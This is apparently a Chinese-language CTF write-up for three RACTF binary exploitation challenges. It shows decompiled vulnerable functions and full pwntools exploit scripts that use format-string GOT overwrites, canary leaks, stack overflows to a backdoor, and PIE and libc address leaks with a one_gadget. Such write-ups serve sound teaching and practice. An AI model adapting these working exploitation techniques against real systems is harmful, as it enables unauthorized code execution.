大不列顛的 Rating 0 賽,還是持續 4 天的
Not Really AI
分析
保護情況
全關
漏洞函數
簡單格式化字符串
int response()
{
char s; // [esp+0h] [ebp-208h]
puts("How are you finding RACTF?");
fgets(&s, 0x200, stdin);
puts("I am glad you");
printf(&s);
return puts("\nWe hope you keep going!");
}
思路
有預留後門,直接找個跳轉的地方改了就行,改了 puts plt 表。
exp
from pwn import *
context.log_level = 'debug'
#p = process("./nra")
p = remote("95.216.233.106",40592)
payload = '%69c%15$hhn%77c%16$hhn%114c%17$hhn%4c%18$hhn'+ p32(0x804c018)+p32(0x804c018+1)+p32(0x804c018+2)+p32(0x804c018+3)
p.recvuntil("RACTF?\n")
p.sendline(payload)
p.interactive()
Finches in a Stack
分析
保護情況
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞函數
兩處棧溢出加上一個格式化字符串。
unsigned int say_hi()
{
char *v0; // eax
char v2; // [esp+3h] [ebp-25h]
char s[20]; // [esp+8h] [ebp-20h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
printf("Hi! What's your name? ");
gets(s); // 棧溢出
printf("Nice to meet you, ");
v0 = &s[strlen(s)];
*(_WORD *)v0 = '\n!';
v0[2] = 0;
printf(s); // 格式化字符串
puts("Do YOU want to pet my canary?");
gets(&v2);
return __readgsdword(0x14u) ^ v4;
}
思路
有預留的後門函數,再有一個長度足夠的棧溢出,有可能控制 eip 跳轉到後門。程序開了 canary 那肯定要繞過,剛好有格式化字符串可以泄露 canary 值。調試一下得到偏移爲: 11
# 泄露 canary
payload = 'aaaa' + "%11$p"
棧溢出控制跳轉:
payload = 'b'*25 + p32(canary) + p32(flag)*4
exp
from pwn import *
context.log_level = 'debug'
#p = process("./fias")
p = remote("95.216.233.106",45107)
elf = ELF("./fias")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
flag = 0x80491D2
payload = 'aaaa' + "%11$p"
p.recvuntil("name?")
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('!',drop=True),16)
log.info("canary:"+hex(canary))
payload = 'b'*25 + p32(canary) + p32(flag)*4
p.recvuntil("canary?\n")
#gdb.attach(p)
p.sendline(payload)
p.interactive()
Finches in a Pie
分析
保護情況
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞函數
和上一題一樣的棧溢出和格式化字符串,區別是這題開了 PIE。
unsigned int say_hi()
{
char *v0; // eax
char v2; // [esp+3h] [ebp-25h]
char s[20]; // [esp+8h] [ebp-20h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
puts("CATCH HIM!\n");
puts("You got him! Thank you!");
puts("What's your name?");
gets(s); // 棧溢出
printf("Thank you, ");
v0 = &s[strlen(s)];
*(_WORD *)v0 = '\n!';
v0[2] = 0;
printf(s); // 格式化字符串
puts("Would you like some cake?");
gets(&v2); // 棧溢出
return __readgsdword(0x14u) ^ v4;
}
思路
和上題區別是開了 PIE ,不能直接得到後門地址,需要繞過 PIE 保護。一開始想着 partial write ,沒有找到有能跳轉的地方。後面改用泄露地址,計算出真實地址,從而繞過 PIE 。
用格式化字符串可以泄露出 text 段和 libc 的地址。實際測試泄露 libc 地址調用 onegadget 無效,最後還是乖乖泄露 text 段地址,調用預留後門。
'''
11 : canary 偏移
15 :0x13D9 對應的text實際地址(在main中)
'''
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
然後就是和上一題一樣操作。
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
exp
泄露 text 段
from pwn import *
context.log_level = 'debug'
p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
payload = 'aaaa' + "%11$p" + "|" + "%15$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
text_leak = int(p.recvuntil('|',drop=True),16)
log.info("text_leak:"+hex(text_leak))
flag = text_leak - 0x1d0
log.info("flag:"+hex(flag))
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(flag)
p.recvuntil("cake?\n")
p.sendline(payload)
p.interactive()
泄露 libc (僅本地可用)
from pwn import *
context.log_level = 'debug'
p = process("./fiap")
#p = remote("95.216.233.106",45459)
elf = ELF("./fiap")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
one_gadget = 0x5fbc5
payload = 'aaaa' + "%11$p" + "|" + "%23$p" + "|"
p.recvuntil("name?\n")
gdb.attach(p)
p.sendline(payload)
p.recvuntil('aaaa')
canary = int(p.recvuntil('|',drop=True),16)
log.info("canary:"+hex(canary))
libc_leak = int(p.recvuntil('|',drop=True),16)
log.info("libc_leak:"+hex(libc_leak))
libc_base = libc_leak - 99895
log.info("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:"+hex(system))
one_gadget += libc_base
log.info("one_gadget:"+hex(one_gadget))
payload = 'b'*25 + p32(canary) + 'b'*0xc + p32(one_gadget)
#payload = 'bbbbb'
p.recvuntil("cake?\n")
p.sendline(payload)
p.interactive()